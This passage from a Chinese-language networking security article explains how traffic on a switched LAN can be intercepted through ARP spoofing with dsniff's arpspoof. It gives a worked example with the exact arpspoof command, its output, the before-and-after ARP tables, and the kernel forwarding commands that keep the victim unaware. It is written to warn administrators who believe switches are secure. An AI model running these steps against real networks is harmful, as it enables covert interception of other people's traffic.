交换机环境的网络监听
文章到这里结束了吗?没有,我们还漏掉了一个很重要的监听手段-交换环境下面的网络听,这是个很有必要谈及的话题,笔者作为网络管理员参加了许多的工程决策,吃惊的发现许多的公司都还停留在交换机是局域网安全的彻底解决之道的概念上。
应该认识到这个概念是个传说,是的,在以前,的确是这样的,但随着上面介绍的dsniff等软件的诞生,所谓交换机的安全已经成为一个传说了。
本文前面的部分介绍了交换机工作的原理,不同于HUB的共享式报文方式,交换机转发的报文是一一对应的,由此看来,交换环境下再采用传统的共享式局域网下网络监听是不可行了,由于报文是一一对应转发的,普通的网络监听软件此时无法监听到交换环境下其它主机任何有价值的数据。
交换机是安全的?
不,还有一些别的方法,比如利用arp,本文一开始就提到了局域网内主机数据包的传送完成不是依靠ip地址,而是依靠arp找出ip地址对应的mac地址实现的。而我们知道arp协议是不可靠和无连接的,通常即使主机没有发出arp请求,也会接受发给它的arp回应,并将回应的mac和ip对应关系放入自己的arp缓存中。
那么如果能利用这个特性,在这个环节中做些文章,还是可以截获数据包的。
Arp理论的实践
作者这里推荐一个不错的上述理论产物,dsniff,这个软件包中包括了filesnarf、 mailsnarf、msgsnarf、urlsnarf、dnsspoof、macof 等诸多很有特色的组件,可以捕获网络中的各种敏感数据,但这些不是今天感兴趣的主题,我们只看其中一个组件,arpspoof,这个组件就是上述arp理论的一个实践,它的工作原理是这样的:发起arpspoof的主机向目标主机发送伪造的arp应答包,骗取目标系统更新arp表,将目标系统的网关的mac地址修改为发起arpspoof的主机mac地址,使数据包都经由发起arpspoof的主机,这样即使系统连接在交换机上,也不会影响对数据包的攫取,由此就轻松的通过交换机实现了网络监听。 举例如下:
主机a和b连接在交换机的同一个vlan上,
A机的ip地址:192.168.1.37
B机的ip地址:192.168.1.35,mac地址为:08-00-20-c8-fe-15
网关的ip地址:192.168.1.33,mac地址为:00-90-6d-f2-24-00
首先在a机上看看a机的arp表
C:\ >arp -a
Interface: 192.168.1.37
Internet Address Physical Address Type
192.168.1.33 00-90-6d-f2-24-00 dynamic
我们看到a机中保留着网关的ip地址192.168.1.33和对应的mac地址00-90-6d-f2-24-00
我们在B机上执行arpspoof,将目标指向a机,宣称自己为网关,如下:
HOSTB# arpspoof -t 192.168.1.37 192.168.1.33
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
可以看到b机持续向a发送arp回应包,宣称网关192.168.1.33的mac地址是自己!此时,我们在a机上看看arp表的内容,
C:\>arp -a
Interface: 192.168.1.37
Internet Address Physical Address Type
192.168.1.33 08-00-20-c8-fe-15 dynamic
哈!a机的arp表已经改变了,网关的mac地址被更新为了 b机的mac地址,这样,当有数据包发送时,a机理所当然的会发到它arp表中网关对应的mac地址08-00-20-c8-fe-15,然而这个地方的b机正在等待着,悄然无声的冒充网关收发着a机的数据包。
有一点要说明的是,为了让a机能正常使用网络,b机还必须打开数据转发,
linux中可以使用sysctl -w net.ipv4.ip_forward = 1
bsd系统可以使用sysctl -w net.inet.ip.forwarding =1
solaris系统可以使用ndd -set /dev/ip ip_forwarding 1
除了这样打开内核的支持外,也可以选用外部的fragrouter等转发软件,如此,就能确保a机正常工作了。
此外,ettercap的作者指出,内核为2.4.x的linux系统在arp实现中,考虑到了arp欺骗,不会接受未经请求的arp回应,因此直接向这种系统发送arp reply也是无效的,不过,有意思的是虽然它不会接受未经请求的arp reply,但是只要接收到arp的request,它就会更新自己的arp缓存,;),如此就好办了,发送一个伪造的arp request即可!不过,作者在自己实验时没有发现这个问题,作者内核为2.4.7的系统接受了直接的arp reply,并更新了自己的arp表。
如果一切配置正常的话,被重定向的a机是不会有什么明显的感觉的,网络照常是通畅的,只是在后台数据都绕了一个小圈子,不是直接到网关,而是先经由b机,再由b机转发到网关,因为数据包都经过了b机,那么在b机上起一个网络监听软件,a机的所有数据必然会被监听到。交换环境下的监听由此实现!
除此之外,dsniff还提供了macof等淹没交换机arp表等进行监听的模式,这里就不介绍了,有兴趣的读者可以自己查阅相关资料。